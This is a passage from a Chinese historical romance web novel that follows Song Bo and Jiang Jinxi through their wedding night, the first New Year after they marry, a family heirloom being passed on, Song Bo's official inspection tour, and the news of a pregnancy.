宋泊刚坐下,李五便开口道:“今日这阵势可是够面儿,没想着有朝一日我竟能来京城吃席。”说话间还打算伸手揽住宋泊,不过被阿篮眼疾手快攥在空中,“甭拿你这个脏手碰宋弟。” “对对对,是我喝多了有点儿头昏。”李五赶忙把自己的手放下来,往常揽宋泊揽惯了,忘了今日宋泊穿着喜服,这手一摁上去,要是给宋泊的喜服摁出个印子来,往后他都不用回家了。 “宋叔叔,你今日真俊。”李会书也跟着李五和阿篮来了,半年未见,他跟抽条的树似的,长得可快,与大人们坐在一桌都不显矮了。 “往后你成亲也这般俊。”宋泊道。 与昔日好友坐着聊了会儿,曾媒人便过来提醒他时辰差不多,该回喜房了,这宴席吃了一个时辰多,将近两个时辰,正快到酉时初,定的洞房礼时间。 今日成亲实在忙碌招待不周,宋泊让他们在京城多留两日,让他尽尽地主之谊。 大伙儿让他快些去,叙旧的时间还有很多,吉时错过可就没了。 宋泊随曾媒人重新到喜房门口,为了掩掉些身上的酒味,春杏和秋菊拿着熏香站与房门外,给宋泊熏了会儿,曾媒人才领他进房。 江金熙还如宋泊离去时那样坐在床侧,叫宋泊一阵心疼,这古代仪式就是麻烦,在他看来,新夫郞就得与新郎官一道儿去外头宴席上接客,哪儿能留一人孤零零在这挨饿受苦。 “请新郎官拿上这杆喜秤,掀开新夫郞的盖头。”曾夫人托着个托盘走到宋泊身边。 宋泊从托盘上拿起红木做成的喜秤,他指尖捏着喜秤末端,前头弯处轻轻勾起盖头,随着他的手越来越往上,他的心跳也越来越快。 盖头下先露出一张红润的嘴,嘴唇饱满涂了脂膏,往上是个小巧的鼻头,鼻梁俊挺,宋泊紧了紧手,再往上提了几分,一对深情流转的眼眸自下而上瞧着他,那黑褐色的瞳孔如珍世宝石,眼动情随,看进宋泊的心窝里。 宋泊一直都知道江金熙很美,但今日他的美却如一把利箭一般,霸道地穿进他的心中,叫他心动,叫他痴迷。 “你、你怎么不掀了?”宋泊一直定着动作,让江金熙心底慌。 宋泊被江金熙一提醒才反应过来,嘴上回答比江金熙还结巴,“我、我就是、就是、被你迷住了。” 听宋泊这么说,江金熙抬起衣袖弯眉轻笑,“那你快些掀开,我带着这盖头沉了几个时辰了。” 宋泊听着江金熙的话,将喜秤彻底抬高,整个盖头掀开,落在床上。 江金熙今日涂了可美的妆,面容白皙,眼尾化了眼线微微泛红,宋泊在他身侧坐下,刚刚被江金熙惊艳到的心跳还没缓和下来。 曾媒人瞧着这对小情侣也有趣,她把喜秤和盖头收走,换了合卺酒来,“请新郎官与新夫郞喝合卺酒。” 合卺酒用特殊的酒杯装着,酒杯华贵,上头还镶了红宝石。 宋泊离曾媒人近,他拿过两杯,一杯交与江金熙,两人倾身相近,屈起手来喝了交杯酒。 “洞房礼成——”曾媒人满面笑意收走空了的酒杯,让他们别把龙凤蜡烛熄灭后,便小步退出了房。曾媒人退出正房,便叫外头守着的侍人们都走,明日晨了再来伺候就是。 人全部离开,四周便静了下来,明明两个人很是熟悉,在这时却徒生了一些紧张感。 “你头上这发冠带着可沉?”宋泊轻声问着。 江金熙脑袋上戴的发冠可比他的头大了几倍,上头镶金戴玉,还有好些个宝石、珍珠,瞧着就轻便不了。 “沉,你帮我卸了吧,我一人卸不来。”江金熙说着,转过身背对着宋泊。 并非是他有意这么说,而是这发冠确实是两个侍人帮他带上的,为了不让发冠掉,他们还插了好多钗子,扎得他的脑袋疼。 宋泊小心取着江金熙头发里的钗子,等着钗子全部取尽,才轻柔地将发冠抬起来,他怕还有他未发现的钗子没被拿起来,拿发冠的时候又轻又慢。 发冠取走,如墨的发丝瞬间滑落下来,铺在江金熙的后背上,落在宋泊的指尖。 阵阵香气传来,宋泊情难自禁,他轻轻自后拢住江金熙,下巴抵在他的肩窝处,不过他还留有一丝理智,问着江金熙有没有吃点东西填肚子。 江金熙被宋泊的气息刺得脖子痒,他两个耳朵瞬间红了起来,没回话只轻点头。 如此宋泊便没了后顾之忧,他问:“行吗?” 江金熙整张脸红如苹果,“轻、轻些。”虽说他是学医的,但书籍上的内容到底是不是真的,还得亲自实践才是,他问了身边几个成亲的哥儿和姑娘,有说痛的有说不痛的,搞得他既期待又担心。 “好。”宋泊拢住江金熙的双手,侧身一带,两人躺入喜床之中,只是不知什么东西硌得慌,宋泊抽了个手拿来,是花生。 不知曾媒人什么时候在喜床上撒了喜果,这不是害人好事嘛。 宋泊颇为无奈地将喜果全都扫落再地,只留一床柔软的被子。 俯身而上,宋泊牵住江金熙的手放于两侧,接着微微倾身,吻上他的唇。 衣裳渐启,江金熙勾住宋泊的大腿,喜床帷幔落下,外头龙凤蜡烛燃得热烈,如里头恩爱的夫夫般,一夜热情。 第166章 第一百六十六章婚后第一天 翌日,江金熙醒时只听着外头簌簌落雪声,忽的他被拢得更紧了些,他抬眸一看,宋泊正垂眸对着他笑。 “睡得还舒服吗?”宋泊问。 这是江金熙头一次在宋宅正房睡觉,为了让江金熙睡得舒服些,宋泊还把床褥子换了个新的,还往上多垫了几层床单,把整张床整理得又暖和又舒服。 “舒服。”江金熙右手被自己身子靠麻了,他正想转身缓缓,就觉着身上一阵酸痛。 靠着这阵酸痛,江金熙才想起来昨日两人有多荒唐。 “与你说了停停停,你还硬要。”江金熙当即就向宋泊抱怨,“今日好了,我这身子动一下就酸痛得不行。” “是为夫错了,为夫给你揉揉。”宋泊乖巧承认自己昨日确实是有些过了火,刚开荤的小伙子总是有些忍不住。 “等会,现下是什么时辰了?”江金熙瞅着窗户,窗户严实关着,阳光被隔绝在外头,江金熙无法判断现下是个什么时辰。 “巳时中了。”宋泊道。 “什么?”江金熙猛得一下支起身子,随后哎呦一声又躺回床上,“你怎么不早些叫我,我还得去给大姑、姑父请安。” “请什么安呐,我们家没那么多规矩。”宋泊抱着江金熙,让他冷静些,“你就是在这儿躺了一天,明日再起床,也没人敢说一个不字。” 经江金熙这么一提醒,宋泊才想起请安这事儿,不过请安多是贵族家的规矩,他们农户出生的人家没那么多旁儿的规矩。 一家人舒舒服服住在一起,整日唤新夫郞早起请安作甚。 “那哪儿成,不合规矩。”江金熙挣扎着就要起身,乱动之下身子更是酸痛。 “你就歇着吧,就是你想请,他们现在也不在宅子里呐。”宋泊道。 “大姑和姑父去哪儿了?”江金熙问。 “去你的百安馆了。”宋泊答。 宋泊醒得比江金熙早,食之知味以后他神清气爽,天未亮便睁了眼,期间宋茶栽来过一趟,听着江金熙还睡得很香,便偷笑着说她与刘南民要去百安馆,让他仔细照顾着。 这下江金熙躺回了床上,只一阵懊恼,新婚头一日还得夫君的长辈帮他看着百安馆,这说出去不得引人笑话,说他是个没规矩的夫郞。 “好啦,别生气啦。”宋泊哄着江金熙,“请安这事儿只有咱们家自己知道,别人瞧着大姑和姑父出去,还以为你起得早已经请安过了呢。”瞧着江金熙看向他,宋泊轻捏着江金熙的鼻头继续往下说,“再说你身子酸痛,也没哪个长辈那般没良心,还唤身子酸痛的夫郞起来请安。” “两相结合之下,你睡到这个时辰还早了哩。”宋泊道。 “就你长了张巧嘴。”江金熙呡了下唇,算是受了宋泊的说法。 既然宋茶栽和刘南民没有这种习惯,那他强求着要请安反倒添了两位长辈的麻烦。 “可要起了?”宋泊问。 “起吧,醒都醒了还躺在床上作甚。”江金熙道,昨日前夜他被折腾得累了,后头睡了个好觉,连起夜都没起来一次。 闻言宋泊扶着江金熙起来,等起了身,江金熙才发现自己穿着一身整洁的内衣,昨日前夜那种汗滋滋的粘腻触感已经没了,身上干爽不说还有一股子清香,他再往床边看去,撒了一地的喜果已经被簸箕兜在一旁,两人的喜服整齐地放在床边的梳妆台上。想来昨日夜里完事以后,他睡了过去,宋泊应当还忙了一阵。 “来,我给你穿鞋。”宋泊先江金熙一步把放在床边的软棉靴拿来,半蹲着给江金熙穿鞋。 江金熙两手撑着床边,看着宋泊屈身低头为他穿鞋,心底说不出的美,成亲以后很多以往只在梦里出现过的场景,这下都成了现实,他笑着道:“哪儿有给夫郞穿鞋的呀,不怕被夫郞压一头。” “压一头我也乐意。”宋泊回道。 两个人过日子哪有什么谁压一头的说法,宋泊就乐意对江金熙好,就算被外头人说着耙耳朵他也心甘情愿。 穿好鞋子,宋泊走到衣柜前,两手一展开了衣柜,江金熙的衣服前几日便拿了些来,现下衣柜里左边是他的衣裳,右边是江金熙的衣裳,瞧来就心情愉悦。 宋泊转头,“今日想穿什么颜色的衣服?” 江金熙回道,“都行,我瞧外面下雪了,拿厚些的吧。” 宋泊便拿了件淡青色厚底棉绸衣裙,给江金熙穿上。 两人都穿戴整齐以后,宋泊开了房门,青桥和秋菊端着洗漱的水盆进来,春杏则去查床上的痕迹,瞧着床单中间有一抹红,她捂嘴偷笑着出了房,准备拿新床单换上。 京城里不好的主家可多,她们在牙行时就常听着谁家侍人做错了事情挨了顿打,被宋泊贷来时,她与秋菊都很担忧,不过几月过来,宋主君对她们可好,甚至上回秋菊买菜与人起了冲突,宋主君还为她找了场子。这般好的主君成了亲,夫郞即漂亮又聪慧,两人头一天就落了红,这可是大喜事一件!没准过个一年,宅子里就热闹起来了。 洗漱完,两人吃了许婆婆准备好的早餐便出了门。 “你都说身子疼了,怎么还要去百安馆。”坐与马车之内,宋泊牵着江金熙的手道。 江金熙指尖勾住宋泊的小拇指,道:“坐着看诊又不用做什么事儿,让我在家闲着我还闷呢。” “可是”宋泊还有话想说,便被江金熙打断着,“你不是要带李兄他们去玩吗?等你回来时再来百安馆载我就是。” 见说不动江金熙,宋泊只能妥协,他嘱咐着,“那你可别太累了。” “嗯,我就看三个病人,其它时候我就在馆里晃腿,这样可成?”江金熙脑袋一歪,柔柔地靠在宋泊肩上,他知道宋泊是为了他好,可他闷在家里确实无趣,陪着宋泊一道去玩又觉着累得慌,还是这人昨日太过分了,不然他今日定然神采奕奕。 宋泊捏着江金熙的脸颊,“你说的。” 江金熙伸出右手小拇指,“来拉钩。” 虽然知道江金熙大概率不会只看三个病人,但他乐意哄着自己,宋泊自也高兴,宋泊伸出右手小拇指,两人唱了拉钩歌,而后笑着靠在一起。 把江金熙送到百安馆后,宋泊不出意外地被宋茶栽骂了一顿,宋茶栽指着他的鼻头,直说他不体恤夫郞,累一日还让人来百安馆上工,压榨人。 宋泊可冤,宋茶栽不听他的解释,他就只能乖乖受着。 最后还是江金熙在旁边听了个面红耳赤,才开口道:“大姑,是我想要来医馆的,宋泊他也拦我来着,没拦住。” 听了江金熙说的话,宋茶栽才放过宋泊,转而与江金熙嘘寒问暖,问他身子可还舒服,别强撑着。 江金熙给宋泊使了眼色,宋泊才偷溜着出了百安馆。 自己请的宾客当然要安排好他们的住所,更何况李五他们都是从南边来,来了京城人生地不熟容易被坑,所以宋泊帮李五他们安排好了客栈,连房也定好了,只等他们来了就可入住。 宋泊寻到客栈去,没想着大伙儿全都还在客栈里待着,择日不如撞日,宋泊便想请着他们外出游玩。 “宋弟,你这成亲第一日不去陪着美娇郎,反而来与我们这些汉子凑一块儿,晚了回去不会被江夫郞揍呐?”李五调侃道。 “可是呀,过两日在带我们出去玩一样的。”路砚知顺着李五的话往下说着。 姜升倒说了不同的话,“我瞧宋同学这满面春风,想来是江夫郞同意他出来,他才如此的。” “还是姜同学懂我。”宋泊点头应声。 “那金熙他现在在哪儿?”姜轻问着。 “去百安馆了。”宋泊答。 听着江金熙在百安馆,姜轻便说着男子的活动不适合她们,而后拉着阿篮一道儿寻江金熙玩去了,离开前还叫姜升和路砚知不要乱花钱。 久来未见,路砚知和姜轻的关系好像好了不少,宋泊好奇着问道:“姜姑娘提醒姜同学是应当,提醒路兄又是为何?” 说到这儿路砚知可是笑开了花,他昂首挺胸,说:“姜姑娘现下是我爱人了。” 这倒是出乎了宋泊的意料,没想着路砚知有这般本事,半年多便将姜轻追到手中。 闻言姜升摇了摇脑袋,说:“宋同学你可是不知,原来路同学是属狗皮膏药的。” 这话开头便是要开始揭短了,宋泊正准备洗耳恭听,路砚知便讨饶地在姜升面前作揖,“姜兄,你可别揭我短呐,先头做的那些混账事,你忘了就是。” “我记着姜同学被派去森州当官,森州是京城边上的城镇,路兄应回霞县上学,这是如何交集上的?”宋泊问。 “此话说来可长,我们边走边说吧。”姜升一抬手,几个大男子与李会书一块儿出了客栈。 京城与南边相比繁荣了不止一星半点,雪花纷纷,李会书没见过雪,便伸手接了雪花仔细观察。 瞧李会书对雪这般有兴趣,宋泊便领着大伙儿一道儿玩雪去。 北边城市落雪以后,地面上积上厚厚的雪经久不化,有些商家会在空旷的地方摆些玩雪的项目,宋泊来到京城这么久,也是问了江金熙才知道京城还有这样有趣的地方,索性他也未玩过雪,正好能趁着这次,既陪好友自己还能玩个尽兴,可谓是一举两得了。 第167章 第一百六十七章传家宝 路砚知、姜家兄妹和李五一家在京城留了三日,腊月十四雪停后便返程了。 日子进入宁静,唯一不同的就是宋泊每日起来睡眼朦胧之时都能瞧着江金熙的面庞,很是幸福。 成亲一过就是春节,这回春节与以往不同,这是宋泊和江金熙成亲后第一个名正言顺的春节。 除夕当日,江金熙将医馆关了,宋泊也得了春假,两人睡了个舒服,等着日晒三竿还未醒来,还是宋茶栽拿了个瓢,在两人房门前敲了会儿,才把两人扰醒。 “大姑,你这么早就在门前扰人清梦是作甚。”宋泊将窗户开了条小缝,与宋茶栽抱怨着。 今日是个好天气,太阳高高挂着,没有落雪,正是适合睡懒觉的好日子。 宋茶栽穿着一袭厚袄子,两袖撸到手臂之上,手上还沾了些面粉,她双手叉腰站在房门前,瞧着宋泊的脸,她道:“都巳时中可不早了,你赶紧出来帮忙干活,金熙就让他再睡会儿。” 宋泊转眸看了眼江金熙,他抱着被子两眼朦胧地盯着他瞧,可不是醒了。 宋泊又道:“你在门口这般敲,他早醒了。” 宋茶栽回:“你赶紧出来,别在里头嘚啵得了。” 宋泊把窗户合上,江金熙也从床上爬了起来,“什么时辰了?” “巳时中。”宋泊答。 江金熙揉着眼从床中央挪出来,两脚/插进鞋筒里,然后屈身拉起鞋筒,细长的头发垂下,有的都落到地上了。 宋泊走了过去单膝蹲在江金熙面前,他勾起江金熙的发丝,随后抬头轻吻了江金熙一下,再帮他穿好鞋子。 春杏和秋菊端来梳洗的水盆,等两人梳洗完毕又吃完早餐,外头太阳已然高升。 走出屋子,四周皆是白茫茫的一片,昨夜落了雪,到今晨才停下。 春杏拿了个扫帚在院子里扫雪,秋菊拿着抹布擦拭着院中的柱子。 厨房里许婆婆和宋茶栽正在说话,两人配合着准备晚上除夕宴的菜。 这些侍人都不是终生契,他们在京城里有自己的家人,在过些时候到了下午,他们便要回家与自己家人团聚。 宋泊探头进厨房中,问宋茶栽有什么活儿可以做,宋茶栽便唤他们去前院帮刘南民贴春联挂灯笼。 与宋泊一道儿去前院,江金熙开口道:“这回你可以写个春联挂于宅*门之上了。” 之前宋泊在近里村写的那副春联,到现在都还挂在家中的卧室中,没有亮相于众人眼下。 前院中央支了张长桌子,桌子上摆满了红纸和灯笼,红纸边上还放了笔墨,想来是准备贴亲手写的春联。 刘南民站在宅门外,指挥着阿军挂灯笼,瞧着他俩来了,他喊着:“宋泊,你赶紧写春联,等会跟金熙一块儿把家里春联贴了。” “好。”宋泊应声。 这家中他的字最好瞧,所以写春联的活儿落在他身上也算情理之中。 宋泊自长桌前,提笔沾墨,洋洋洒洒便写下了几副春联。 宅子外要粘,宅子内也要粘…… 宋泊把最大幅的春联留在桌上,与江金熙拿着小些的春联往内院里头沾。 两人粘完春联,自个儿拿上清洁的东西往正房里去,因着正房是宋泊和江金熙的房间,里头私密、贵重物品极多,故而深度清洁得靠他们自己来。 还好这正房夜夜住人,前头成亲前还大扫除了一把,现下也算不得杂乱,只需要擦擦表面上的灰即可。 江金熙拧了一把抹布,擦起窗框,忽的一个人影冒出,宋泊从窗子下方钻了出来,可给他吓一大跳。 “你干嘛。”江金熙道。 “瞧着窗边有仙子站着,一时没忍住起了坏心眼。”宋泊道。 江金熙笑了,他腰微弯下,两手撑在窗台前,与宋泊道:“惹着仙子生气你当如何?” “那我”宋泊快速地江金熙脸颊边亲了一下,速度快得江金熙都没有反应过来。 “那我就以吻谢罪。”宋泊说。 夜了,繁星点点悬于空中,家中红色灯笼亮着,每个房间门都贴了喜字,喜庆非常。 江金熙帮着摆放碗筷,其他人则将年夜饭端进食房,一家六人坐在食房内,中间的古董羹咕噜咕噜往外冒热气。 头回以夫郞的身份在宋家过春节,江金熙心头冒出一股新奇的感觉。 “欢迎金熙入我宋家。”宋茶栽举起酒杯,高声道。 “谢谢大姑。”江金熙说着举杯。 大伙儿纷纷拿起手上的杯子碰杯,杯子清脆碰在一块儿,大伙儿的心也碰在一块儿。 即是自家人,餐桌上便没太多的规矩,大伙儿想吃什么便夹什么进古董羹里烫过,你一言我一句,仅六人的家也显得热闹。 吃过年夜饭,大伙儿便出了宅子,京城的新年活动可多,街上满是舞龙、舞狮的喜庆表演。 简言头回来京城,也头回见这般炫目的活动,在一杂技摊子前停住久久未移神。 大伙儿也不催他,孩子总归爱玩,除夕出来玩上一玩,看个尽兴才是应当。 砰—— 烟花炸开与空中,临了过年,皇城又放起了过年烟花,今年的烟花与上回差不多,也是那些种类,也是那几发,但就是让人觉着新年来了,心中一种澎湃感。 宋泊揽着江金熙,江金熙正高昂着头瞧着空中炸开的烟花,而宋泊则偏头看着江金熙,烟花映入江金熙的眼眸中,他的眼眸闪闪发亮,瞧来好看极了。 江金熙微挪眼神落在宋泊的身上,他抬手指了指自己的脸,张口说着,“我脸上可是落了什么东西?” 宋泊笑着摇了摇头,紧了下揽着江金熙的力道,然后与他一道将视线重新放回烟花之上。 烟花过后,街道上的百姓们也要收拾收拾回家,简言拿出自己存着的私房钱买了不少东西,倒是满载而归。 回了宋宅,四周安静下来,宋泊去厨房里煮水,宋茶栽便借着这个时间,进到宋泊和江金熙的房间里,与江金熙面对面坐着。 瞧着宋茶栽像是找他有事,江金熙便先开口问道:“大姑,你可是来找我的?” 宋茶栽将手中拿着的木盒放在桌上,而后推到江金熙那侧,说:“这是给你的。” 江金熙垂眸看了眼木盒,这木盒应是自己制作的,周边削木不平,还有个地儿削得用力了凹下去一个坑,“这是?” “你打开瞧瞧。”宋茶栽满眼慈爱地看着江金熙。 木盒已经有些年份了,有些木头腐朽着,好似轻轻一碰就会坏掉,江金熙也不敢使大劲,他两手平行着,用中指擦着木盒盖子两面,使着巧劲,将木盒打开来。 里头垫着红色绒布,绒布上放着几根发簪,一条镂空锦鲤金链,还有个翠玉戒指,瞧来都是几十年前的款式。 “大姑。”江金熙看向宋茶栽。 “这是你奶奶给我的首饰,现下我便给你了。”宋茶栽牵住江金熙的右手,温暖自她的手中传入江金熙的心头,江金熙惊道:“这是奶奶给你的东西,我怎么能收呢?” “奶奶也是从祖母那儿得来的。”宋茶栽轻拍着江金熙的手背,声音柔和,“这些首饰只传给家中同意的夫郞和媳妇,借着今日春,我就将这些东西传与你。” 江金熙又看了一眼木盒中的首饰,越发觉着烫眼,让他忍不住热泪盈眶。 “哭什么呀,这是好事儿。”宋茶栽没带手巾,只能用自己的衣袖给他擦泪,“你能嫁到我们宋家,是我们宋家有福气,宋泊那小子应是上辈子积了不少德,这辈子才能遇到你这位漂亮又聪慧的贤夫郞。” “那儿呀。”江金熙的脸颊贴着宋茶栽的掌心,“我能遇上宋泊,才是我有福气。” “那你是不是得收下了?”宋茶栽松了手,拿起木盒中的翠玉戒指,“我给你带上。” 江金熙抬手一抹泪,将右手伸出来抵到宋茶栽面前。 “诶,换那只手。”宋茶栽道。 江金熙有些疑惑,但还是乖乖换了左手出去。 “左手接纳福泽,右手付出良多,你嫁来我们宋家是来享福的,可不是吃苦来的。”宋茶栽给江金熙解释着,而后将翠玉戒指戴在江金熙左手中指上,“带这儿好,看诊不碍事。” 没想到宋茶栽为他想了这么多,江金熙情难自禁起身,他走至宋茶栽面前,微微屈膝抱住宋茶栽,“大姑,你怎么对我这么好。” “这才哪儿到哪儿,往后大姑还能对你更好。”宋茶栽笑着拢住江金熙,如长辈哄小辈一般拍着江金熙的后背,“嫁到咱家没那么多规矩,反正丞相府离宋宅近,你想家就回去瞧,不必顾及那些七啊八啊的。”宋茶栽说话声音宛若流水一般,轻轻落入江金熙心坎,“对了,宋泊哪儿惹你生气了你只管与我说,我定收拾那个混小子。” 江金熙破涕而笑,道:“好,有大姑与我当后盾,我定硬着气与宋泊说话。” 第168章 第一百六十八章巡查。 春节过后,宋茶栽和刘南民就要回村去了,虽说宋泊和江金熙留过他们,不过老一辈的人还是愿意在土生土长的地方生活,来到京城见见世面就是,真生活下去还是有诸多不便。 元月初十,宋茶栽和刘南民站在阿丁驾驶的马车边,宋泊和江金熙出了宅子给两人送行。 江金熙舍不得宋茶栽,拉着宋茶栽的手皱着个眉,“大姑你一定要回去吗?” 宋茶栽瞧了觉着好笑,她拍着江金熙的手背,“别这个表情,等你有了宝儿,我还会再回来的。” 小辈要是有了孩子,长辈定会千里赶来帮忙,宋茶栽这般热心肠的人,肯定只要收到江金熙有孕的消息,马上就会从近里村冲到京城来。 听到宋茶栽这么说,江金熙的脸霎时间红了起来,“哪儿有那么快那。” 哥儿因着身体特殊,比姑娘难受孕些,大多都是结婚后三、五年,才能怀上一个。 “时间稍转及逝,不快的。”宋茶栽说着,转眸看向正在帮他们把行李搬上车的宋泊,好像昨日这孩子还与她膝盖一般高,今日就已经成了婚,有了自己的家庭,是个成熟的大人了。 瞧着东西一箱一箱往车厢里搬,刘南民忍不住说着:“带那么多东西做什么呐。”他与宋茶栽的行囊合起来不过半箱东西,其它几箱都是宋泊给他俩买的东西。 小辈有孝心是好事,但这孝心也有些太沉了,带回村里后要搬下来可是得费上一阵功夫。 “这山高路远的,一些东西家里买不着,当然要买了回去。”宋泊说:“甭心疼钱,这些东西不贵的。” 京城作为恒国里最发达的城市,里头东西齐全,东西一全价格便往下降了降,有些日常用物在京城里买比在传福镇还便宜一些。 “往后在京城生活可谨言慎行。”刘南民拍着宋泊的后背,语重心长地嘱咐。 京城中达官贵人众多,没准路上随便碰上一位,他便有官职傍身,得了官虽好,可要顾虑的东西多了,就不能像在村里一般随心所欲。 宋泊得了官刘南民可是高兴,但这条路没那么好走,长辈也不在身旁,只能靠宋泊和江金熙两人相互扶持地过日子。 “我知的。”宋泊乖巧道,得官不易,这身羽毛他会小心爱护的。 “你们那处田我还会帮忙照料着,草药熟了我便寄上来。”刘南民说。 田地空着也是空着,刘南民一人照顾两田已经习惯了,多种些草药出来寄京城里,也能给宋泊、江金熙缓解一些经济压力。 别的地儿收回来的草药不一定好,但从自家寄来的草药一定好。 “那便麻烦姑父了。”宋泊道。 “一家人说什么两家人的话。”刘南民回。 又聊上一阵,辰时末,宋茶栽和刘南民坐上马车,离开了京城。 宋茶栽和刘南民离开以后,院子静了不少,倒让宋泊有些空落落的感觉,不过一切回到平常,培养简言的事儿也加到了日常当中。 宋泊每日都给简言安排了练字、读书的活儿,也不求他能考个功名出来,只要别目不识丁就是。 宋泊每日上朝,上头布置的工作都完美完成,终于在恒和九十一年的七月一日,也就是成为天少郎君的第二年末,他通过天少阁的升迁考核,由圣上钦定挪了官职,成了太常少卿,升到了从四品。 升官了虽然高兴,可工作上的活儿也翻了个备,宋泊每日早起贪黑,忙得连百安馆都少去了不少。 恒和九十一年十一月,上头发了活下来,明年春,宋泊和一众太常少卿都被分配出去,去各州市巡查科举的情况,瞧瞧有无官民勾结行作弊之事。 这两年恒国都没有天灾人祸发生,国泰民安,百姓们的收入上升,国泰民安之下就容易滋生腐败之事。 下各州市巡查的事是件秘密,只有圣上、丞相和太常的人知晓,为的就是打个措手不及。 江金熙正包着药,听着宋泊与他说着明年春的事情,头也没抬直接就回了句,“如此也挺好的,说明圣上看中你。” “只是这一去少说三月,我想你怎么办。”宋泊正打算趴在药柜前的木桌上扮个可爱,就被江金熙用手背挥了一下,“别靠这儿。” “哦。”宋泊委屈巴巴。 两人成婚一年多,相处起来与老夫老妻相差无几,江金熙知道这样的话不会惹怒宋泊,但自家的夫君多少还是要哄一哄的。 “我相信你定能做得很好,肯定花不着三个月。”江金熙道。 出去巡查最快也得一月才能回来,一想着要离开江金熙一月以上,宋泊就觉着难受。 “这药拿回去每日中午饭前一服就行。”江金熙把包好的药拿给病人,又嘱咐了服用的药数及时间,送走病人后,他才伸手牵住宋泊的手,往旁边休息的椅子上带。 自成婚以后,宋泊每日都会抬水给江金熙泡脚,也不知是不是泡脚的功劳,总之江金熙现在的手虽然还是会冷,但没有之前那么冷了。 江金熙哄了宋泊好一阵,才把宋泊哄好。 恒和九十二年二月十五日,宋泊便得启程去周边的州市中巡视科举。 边上太常少卿瞧着宋泊自个儿一人站在马车边,忍不住调侃一句,“你夫郞呢,今日竟不送你出行?” 宋泊和江金熙恩爱是太常里人人皆知的事儿,这般恩爱的夫夫今日却留宋泊独自一人,莫不是因着巡查的事儿吵了架? “他昨日累着了,今日便没扰他起来送我。”宋泊回道。 昨日两人共赴云雨几个时辰,底下垫着的床单都被汗水浸湿,江金熙可是累得够呛,今日卯时末就要启程,对他来说有些早了,宋泊便没唤他。 瞧着宋泊一本正经地回着,与他搭话的太常少卿也没往别处想去,他道:“也是,才出去一月多两月,没什么好送的,还是休息为重。” 卯时末整整,宋泊随着队列一道出了京城,前往京城周边的州市。因着有地域回避的条件在,宋泊就不能往南面去,只能往北了去,好好巡查。 太阳穿过窗户缝隙照在江金熙的眼眸上,江金熙皱了两下眉头,慢慢睁开眼,身边已经空了下来,伸手摸过去连余温也没了,想来宋泊已经出宅子有一会儿了。 江金熙也不着急着起床,昨日夜里大汗淋漓之际,宋泊便唤他今日好好休息,不必去送他。 只是想着身边人短时间回不来,江金熙心底也是生了几分寂寥之感。他眼神微移,瞧着床边的梳妆台上放了张纸,看起来像是宋泊留下来的纸条,他想着伸手去拿,只这个动作,便引得他全身酸痛。 昨夜宋泊真是做得过了火,许久未出现过的腰酸背痛竟在今日重新复现,不过江金熙也不生气,也是两人一块儿才造成如今的,不能算是宋泊一个人的事。 江金熙小心挪着挪到床沿边,床外头都是宋泊在睡,现下挪了过来有股宋泊的味道侵入鼻腔,他伸长了手,将那纸片拿来,宋泊在上面写着他已经走了,许婆婆做好了早餐,青桥也等在门外,有什么需求唤一嗓子就是。 这些常事还需写个纸条? 江金熙抬手又要将纸条放回去,才瞧着纸条背面写了一小行字。 【没想到我爱你之深,竟从写下这张纸条的时候就开始想你了。】 前头“没想到”三字很大,约往后走,字越小,到最后连“了”字都快瞧不着了,想来宋泊也是写着写着觉着害羞,字才越写越小。 “真是的,这么大了还要些情话。”江金熙拿过纸条贴在胸前,面上都是幸福的笑容。 巡查的事说难不难,说简单也不简单,一个半月内宋泊得跑五座州,十几个县,一日有半天时间都在马车上坐着,这马车为了迎合廉洁,连垫子都薄得可怜,再加上从州里去县里的路不大好走,可是给宋泊颠死了。 到后头宋泊撂了马车,只坐着马儿前往,速度快了许多,省去不少时间。 宋泊瞧着温润如玉,实则做事雷厉风行,被宋泊查着的州市有三分之一出现过作弊之事,却未在太常查着作弊记录,想来定是有官员相护。 那些个利益牵扯的官员或威胁或服软,但宋泊皆不听,只往上头报着,揪出了不少腐败官员,得了圣上点名夸奖。 四月一日,宋泊花了一个半月完成了巡查之事,正启程往京城赶时,便收着加急的信件,说是江金熙在医馆昏倒了。 江金熙从未昏倒过,宋泊一收着这个信件,立即心跳加速,着急忙慌地驱马前行。 简言与他一道外出巡查,他也瞥着了眼信件,忙说着:“主君您莫急,没准郎君已经好了。” 反正巡查的事儿也做完了,宋泊带着车队提速前行,往日要走五日的路程,硬生生被缩短了一半,两日半宋泊便到了京城。 第169章 第一百六十九章新的缘分。 宋泊回到宋宅时正是下午,他把缰绳交与简言后,直接推门进府。 守门的阿军被忽然由外打开的宅门吓了一跳,瞧清来人后他道:“主君。” “郎君可在宅中?”宋泊急问。 如果江金熙不在宅子里,他还得赶去下个地儿寻他,昏倒可轻可重,第一眼看不见江金熙是何模样他总归安不了心。 “应该在的,我未见郎君出门。”阿军道。 宋宅有大门和后门,后门多是宅中侍人出门时走的路,宋泊和江金熙出宅子都往正门走。 阿军自天亮一直守在门边,未见过江金熙出门。 闻言宋泊径直往正房走去,快到正房时便瞧着青桥从里头出来。 “青桥,郎君可是出了什么事,怎么会昏倒?”宋泊问。 青桥与江金熙形影不离,江金熙出了何事,他定然清楚。 青桥还未回答,江金熙就听着宋泊的声音从房里走了出来,他道:“没什么事。” 宋泊也顾不上等青桥的回答了,他长腿一跨跨过门槛,轻轻拉起江金熙的手臂,而后绕着他走了一圈,从外观看来确实是看不出什么,怕就怕在是内伤。古代的医疗条件不比现代,内伤可比外伤难发现又难治疗。 “你是不是太累了,还是哪里不舒服,不然怎么会昏倒呢?”宋泊牵着江金熙的双手,一着急说话速度都快了几分,“你是在哪儿昏倒的,可唤了大夫来瞧?” 一连几个问题砸了出来,引得江金熙抬袖捂嘴笑着。 “你笑什么,我都急坏了。”瞧着江金熙还有心情笑,宋泊委屈道。 江金熙让青桥忙自己的事儿去,他则牵着宋泊的手往房内带,两人坐与房内,江金熙才慢慢解释着:“我在医馆昏倒的,青桥自个儿瞒着我给你写了信,我醒来才知道。” 在医馆里昏倒比在其他地方昏倒好些,见着人生龙活虎在自己面前,宋泊悬着的心才稍稍放下一些,“大夫们如何说?” “我就是有了孩子而已,没什么事。” 江金熙说得轻松,宋泊脑袋一时没转过弯来,顺着往下道:“噢,就是有了个孩子而已。” “等会!”放松下来的脑子飞速旋转,宋泊睁大了眼,不敢相信着再问一遍,“你说什么?” “我说我有了孩子,我们俩的孩子。”江金熙笑道。 “天呐!”宋泊张圆了嘴,难以相信。 幸福来得太突然,让他觉着有些不可思议。 “等你回来再说都成,青桥非火急火燎送信过去。”江金熙说道。 